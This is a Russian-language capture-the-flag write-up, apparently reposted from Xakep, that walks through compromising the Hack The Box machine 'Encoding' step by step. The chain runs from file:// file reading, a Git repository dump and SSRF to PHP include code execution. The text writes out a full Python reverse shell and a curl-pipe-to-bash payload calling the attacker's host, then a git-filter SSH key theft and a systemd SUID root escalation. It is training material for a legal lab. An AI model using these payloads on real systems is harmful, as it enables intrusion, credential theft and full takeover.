Хакер - HTB Encoding. Эксплуатируем Git-репозиторий

Хакер - HTB Encoding. Эксплуатируем Git-репозиторий

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Чтение произвольных файлов
  • Git
  • PHP include RCE
  • Продвижение
  • Локальное повышение привилегий

Се­год­ня мы с тобой прой­дем по цепоч­ке уяз­вимос­тей: от LFI к экс­плу­ата­ции Git, к дру­гой LFI и под конец — RCE. По дороге нам понадо­бит­ся модер­низиро­вать Git-дам­пер, а при прод­вижении будем исполь­зовать выпол­нение кода через Git.

На­ша цель — зах­ватить тре­ниро­воч­ную машину Encoding с пло­щад­ки Hack The Box. Уро­вень слож­ности — сред­ний.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.198 encoding.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Мы наш­ли два откры­тых пор­та: 22 — служ­ба OpenSSH 8.9p1 и 80 — веб‑сер­вер Apache 2.4.52. Боль­ше ничего инте­рес­ного в резуль­татах ска­ниро­вания нет, поэто­му идем изу­чать веб‑сер­вер.

Глав­ная стра­ница сай­та encoding.htb

ТОЧКА ВХОДА

Бег­лый прос­мотр сай­та выводит нас на API, который работа­ет на отдель­ном под­домене. Добав­ляем новый под­домен в файл /etc/hosts.

10.10.11.198 encoding.htb haxtables.htb api.haxtables.htb

Стра­ница API

Об­рати вни­мание, что зап­рашива­емая стра­ница переда­ется в парамет­ре page. В таких слу­чаях сто­ит сра­зу про­верить наличие LFI. Одна­ко най­ти уяз­вимость не уда­лось. Зато на стра­нице есть при­меры кода, как работать с API для кодиро­вания фай­лов, получа­емых по ука­зан­ному URL.

Код для кодиро­вания фай­ла

Нем­ного под­пра­вим код, что­бы пос­ле получе­ния закоди­рован­ного фай­ла обра­ботать ответ и декоди­ровать файл.

import requests

import json

import base64

json_data = {

'action': 'b64encode',

'file_url' : 'http://10.10.14.78/test.txt'

}

response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)

data = json.loads(response.text.strip())

print(base64.b64decode(data["data"]).decode())

А теперь зап­росим файл со сво­его веб‑сер­вера:

python3 -m http.server 80

Ло­ги веб‑сер­вера
Ре­зуль­тат зап­роса

Код работа­ет, файл по ссыл­ке получен. А теперь про­буем изме­нить про­токол с http:// на file://, что­бы попытать­ся получить локаль­ный файл с сер­вера. Читать будем /etc/passwd, для чего изме­ним в коде параметр file_url.

'file_url' : 'file:///etc/passwd'

Со­дер­жимое фай­ла /etc/passwd

И получа­ем воз­можность читать про­изволь­ные фай­лы.

ТОЧКА ОПОРЫ

Чтение произвольных файлов

Что­бы про­читать фай­лы сай­та, нам нуж­но знать путь к кор­невому катало­гу. В этом нам поможет файл кон­фигура­ции веб‑сер­вера.

'file_url' : 'file:///etc/apache2/sites-enabled/000-default.conf'

Со­дер­жимое фай­ла /etc/apache2/sites-enabled/000-default.conf

В ито­ге получа­ем пути к кор­невым катало­гам трех сай­тов. Добав­ляем запись для под­домена image в файл /etc/hosts, нес­мотря на то что дос­туп к это­му сай­ту раз­решен толь­ко с локаль­ного хос­та.

10.10.11.198 encoding.htb haxtables.htb api.haxtables.htb image.haxtables.htb

Пер­вым делом чита­ем файл index.php, что­бы рас­крыть новые под­клю­чаемые фай­лы.

'file_url' : 'file:///var/www/image/index.php'

Со­дер­жимое фай­ла image/index.php

Рас­кры­ваем новый под­клю­чаемый файл utils.php. Прос­мотрим и его.

'file_url' : 'file:///var/www/image/utils.php'

Со­дер­жимое фай­ла image/utils.php

Изу­чая исходный код, отме­чаем для себя, что в катало­ге есть репози­торий Git. Давай най­дем спо­соб ска­чать его весь.

Git

Для дам­па все­го репози­тория мож­но исполь­зовать ути­литу Dumper. Но так как мы чита­ем фай­лы не нап­рямую, а через уяз­вимость на сер­вере, скрипт нуж­но нем­ного модер­низиро­вать. Най­дем коман­ду, где выпол­няет­ся зап­рос с помощью curl.

Ко­ман­да зап­роса к веб‑сер­веру

Из­меним ее для работы через сер­вис кодиро­вания.

curl 'http://api.haxtables.htb/v3/tools/string/index.php' -s -H 'Content-Type: application/json' --data-binary "{"action": "b64encode", "file_url": "file:///var/www/image/.git/$objname"}" | jq .data | tr -d '"' | base64 -d > "$target"

Те­перь запус­каем скрипт и получа­ем весь репози­торий.

Ре­зуль­тат работы скрип­та

Для ана­лиза Git я обыч­но исполь­зую прог­рамму gitk. Запус­каем ее из дирек­тории, где содер­жится каталог .git. Мы и так можем читать фай­лы на сер­вере, поэто­му меня прос­то инте­ресо­вало, какие фай­лы и катало­ги на нем есть.

Ре­пози­торий в gitk

Сра­зу обра­щаем вни­мание на action_handler.php, о котором мы преж­де не зна­ли.

'file_url' : 'file:///var/www/image/actions/action_handler.php'

Со­дер­жимое фай­ла action_handler.php

И видим очень опас­ное исполь­зование фун­кции include. Так в нее переда­ется при­нима­емый GET-параметр page. Но мы не можем обра­тить­ся к это­му фай­лу нап­рямую, так как дос­туп к сай­ту image воз­можен толь­ко с локаль­ного хос­та. Эту LFI мож­но рас­кру­тить до RCE, но нам нуж­на еще уяз­вимость SSRF, что­бы обра­тить­ся к сай­ту image.

Ни­чего инте­рес­ного боль­ше най­ти не получи­лось, поэто­му вер­немся к пер­вому сай­ту и прос­каниру­ем фай­лы PHP с помощью feroxbuster.

feroxbuster -u http://haxtables.htb/ -w php_files_common.txt -d 1

Ре­зуль­тат ска­ниро­вания фай­лов PHP

На­ходим файл handler.php. Сра­зу получа­ем его содер­жимое.

'file_url' : 'file:///var/www/html/handler.php'

Со­дер­жимое фай­ла handler.php

Сер­вер обра­баты­вает параметр uri_path и переда­ет его в фун­кцию make_api_call. Получим код этой фун­кции из фай­ла utils.php.

'file_url' : 'file:///var/www/api/utils.php'

Со­дер­жимое фай­ла api/utils.php

Эта фун­кция нуж­на для отправ­ки зап­роса на ука­зан­ный URL. Вот мы и узна­ли спо­соб выпол­нить зап­рос к action_handler.php, где мы наш­ли вызов include.

PHP include RCE

Пер­вым делом поп­робу­ем про­верить, дос­тигнем ли мы фун­кции include на прак­тике. Для это­го перепи­шем код скрип­та и зап­росим файл /etc/passwd.

import requests

import json

json_data = {

"action": "",

"data": "",

"uri_path": "r@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd&"

}

response = requests.post('http://haxtables.htb/handler.php', json=json_data)

print(response.text)

Со­дер­жимое фай­ла /etc/hosts

Фун­кцию include мы все‑таки дос­тали, поэто­му можем сра­зу получить RCE php_filter_chain_generator. Сна­чала генери­руем цепоч­ку, которая выпол­нит код на PHP:

<?php system('id')?>

Это при­ведет к выпол­нению коман­ды id.

python3 ./php_filter_chain_generator/php_filter_chain_generator.py --chain "<?php system('id')?>"

Ге­нери­рова­ние цепоч­ки экс­пло­ита

А теперь выпол­ним новый зап­рос (цепоч­ку необ­ходимо вста­вить вмес­то мно­гото­чия) и получим резуль­тат выпол­нения коман­ды.

"uri_path": "r@image.haxtables.htb/actions/action_handler.php?page=...&"

Ре­зуль­тат зап­роса

По­мес­тим на сво­ем веб‑сер­вере сле­дующий реверс‑шелл на Python и запус­тим лис­тенер pwncat-cs -lp 4321.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.78",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

А теперь сге­нери­руем и отпра­вим цепоч­ку, которая ска­чает и выпол­нит реверс‑шелл.

php_filter_chain_generator/php_filter_chain_generator.py --chain "<?php system('curl http://10.10.14.78/sh.txt|bash');?>"

Сес­сия поль­зовате­ля www-data

ПРОДВИЖЕНИЕ

Те­перь нам необ­ходимо соб­рать информа­цию, что­бы повысить при­виле­гии на хос­те. Что­бы най­ти пути прод­вижения, я исполь­зую скрип­ты PEASS. Заг­рузив на сер­вер скрипт для Linux и выпол­нив его, я под­метил в его выдаче небезо­пас­ные нас­трой­ки sudoers.

Нас­трой­ки sudoers

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Есть воз­можность выпол­нить скрипт /var/www/image/scripts/git-commit.sh от име­ни поль­зовате­ля svc без вво­да пароля. Пос­мотрим на сам скрипт.

Со­дер­жимое скрип­та git-commit.sh

Здесь мы можем при­менить тех­нику выпол­нения кода через обра­бот­чик филь­тра. Пер­вым делом соз­дадим скрипт, который будет выпол­нять­ся. Скрипт будет копиро­вать SSH-ключ поль­зовате­ля.

echo "cat ~/.ssh/id_rsa > /tmp/key.txt" > /tmp/getkey

chmod +x /tmp/getkey

За­ново ини­циали­зиру­ем репози­торий и в файл атри­бутов Git добав­ляем новый филь­тр.

git init

echo '*.php filter=indent' > .git/info/attributes

Те­перь в качес­тве обра­бот­чика для filter.indent.clean уста­нав­лива­ем наш выпол­няемый скрипт /tmp/getkey.

git config filter.indent.clean /tmp/getkey

И выпол­няем git-commit.sh от име­ни поль­зовате­ля svc.

sudo -u svc /var/www/image/scripts/git-commit.sh

При­мене­ние и выпол­нение обра­бот­чика филь­тра

Те­перь про­буем прос­мотреть ско­пиро­ван­ный SSH-ключ.

Со­дер­жимое фай­ла /tmp/key.txt

Под­клю­чаем­ся к хос­ту по SSH с получен­ным клю­чом и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Да­вай сно­ва пос­мотрим нас­трой­ки sudoers.

sudo -l

Нас­трой­ки sudoers

Те­перь мы можем без вво­да пароля выпол­нить от име­ни рута такую коман­ду:

/usr/bin/systemctl restart *

Ути­лита systemctl нуж­на для кон­тро­ля служб systemd и управле­ния ими, и для нее есть тех­ника GTFOBins.

Справка: GTFOBins

GTFOBins — это под­борка спо­собов зло­упот­ребле­ния фун­кци­ями рас­простра­нен­ных прог­рамм для Unix. Исполь­зуя эти рецеп­ты, мож­но быс­тро получить дос­туп к коман­дным обо­лоч­кам, повысить при­виле­гии или передать фай­лы.

Опи­сание спо­соба экс­плу­ата­ции GTFOBins для systemctl

Так­же про­веря­ем пра­ва на каталог /etc/systemd/system, где рас­положе­ны фай­лы кон­фигура­ции для раз­личных служб.

Со­дер­жимое катало­га /etc/systemd/

Кто угод­но может записы­вать в каталог /etc/systemd/system, а зна­чит, мы можем соз­дать в нем кон­фигура­цию getroot.service для запус­ка коман­ды в при­виле­гиро­ван­ном режиме. В качес­тве исполня­емой коман­ды наз­начим прис­воение S-бита фай­лу коман­дной обо­лоч­ки /bin/bash.

[Service]

Type=oneshot

ExecStart=chmod u+s /bin/bash

[Install]

WantedBy=multi-user.target

А теперь переза­пус­тим соз­данную «служ­бу».

sudo /usr/bin/systemctl restart getroot

Из­менение прав фай­ла /bin/bash
Флаг рута

У нас есть дос­туп от име­ни рута, а зна­чит, машина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page